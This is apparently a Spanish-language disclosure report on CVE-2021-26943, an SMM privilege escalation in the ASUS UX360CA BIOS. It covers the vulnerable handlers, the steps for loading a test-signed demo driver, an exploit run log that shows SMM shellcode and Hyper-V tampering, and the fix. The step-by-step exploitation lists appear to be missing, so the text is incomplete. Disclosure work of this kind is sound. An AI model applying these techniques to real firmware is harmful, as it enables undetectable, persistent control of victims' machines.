
El informe y el exploit de CVE-2021-26943, la vulnerabilidad local de escalada de privilegios de kernel a SMM en la BIOS versión 303 de ASUS UX360CA.
Este es un informe y un exploit de CVE-2021-26943, la vulnerabilidad de escalada de privilegios local de kernel a SMM en el BIOS versión 303 del ASUS UX360CA. El problema se solucionó en la versión 304.
El BIOS versión 303 del UX360CA tiene 3 módulos vulnerables que permiten a un atacante con privilegio ring0 sobrescribir memoria física casi arbitraria, incluida la SMRAM, y ejecutar código arbitrario en SMM.
Esos módulos se pueden identificar de la siguiente manera:
| Nombre | GUID | SHA256 |
|---|---|---|
| UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
| SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
| NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |
Esos módulos son de AMI (fabricante de BIOS) y pueden estar presentes en BIOS de otros OEM.
Los módulos vulnerables y sus SMI correspondientes son: UsbRt (0x31), SdioSmm (0x40) y NvmeSmm (0x42). Todos esos manejadores de SMI leen la dirección de memoria física 0x40E para obtener una dirección sobre la que trabajar y escriben un byte en esa dirección en caso de error, incluso si se trata de SMRAM.
Por ejemplo, el manejador de SMI de SdioSmm tiene el siguiente aspecto:
EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize
)
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
|| userControlled->Offset0_FunctionCode >= 4 )
{
userControlled->Offset2 = 7;
}
else
{
// ...
}
return EFI_SUCCESS;
}
Este problema parece ser idéntico a INTEL-SA-00057, que está muy bien descrito como Aptiocalypsis. Sin embargo, el BIOS versión 303 para UX360CA no incluye correcciones para ellos.
Esto permite a un atacante con acceso de escritura a la memoria física y la instrucción OUT (es decir, los privilegios ring0) sobrescribir el contenido de la SMRAM con los siguientes pasos:
Esto se puede usar para lograr la ejecución de código arbitrario en SMM de la siguiente manera:
.Raw en HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader ReservedLa ejecución de código arbitrario en SMM permitiría a un atacante omitir medidas de seguridad del kernel y del hipervisor, como HVCI, como se demuestra en otro informe de vulnerabilidad de SMM, y establecer persistencia actualizando el contenido de la memoria flash SPI (BIOS).
El proyecto de demostración adjunto demuestra una explotación exitosa y vuelca el contenido de los MSR que solo son accesibles en SMM y la dirección física de la EPTP. También modifica el código de manejo de salida de VM (VM-exit) de CPUID del hipervisor Hyper-V para devolver una cadena de proveedor del hipervisor alterada.
La PoC se probó en Windows build 18362.1256, con y sin HVCI habilitado.
Una grabación de la explotación exitosa se puede encontrar en YouTube.

En el sistema de destino,
> bcdedit /set testsigning on
> sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
> sc start demo
[+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
[-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
[+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
[+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
[+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
[+] ExploitSmm: Placed SMM shell code
[+] ExploitSmm: Triggered SMM exploit
[+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000
[+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
[+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000
[+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e
[+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0
[+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
Hv Tampered!.
> CheckHvVendor.exe
Executing CPUID(0x40000000) on CPU 0
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 1
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 2
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 3
Result: Hv Tampered!
La corrección consiste en evitar por completo usar el contenido controlado por el usuario cuando apunta al interior de la SMRAM, como se muestra a continuación.
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
{
if (userControlled->Offset0_FunctionCode < 7 )
{
// ...
}
else
{
userControlled->Offset2 = 7;
}
}
return EFI_SUCCESS;
}
La corrección sigue perfectamente las mejores prácticas actuales de la industria y evita el ataque de "confused deputy" (subordinado confundido) que conduce a la corrupción de la SMRAM.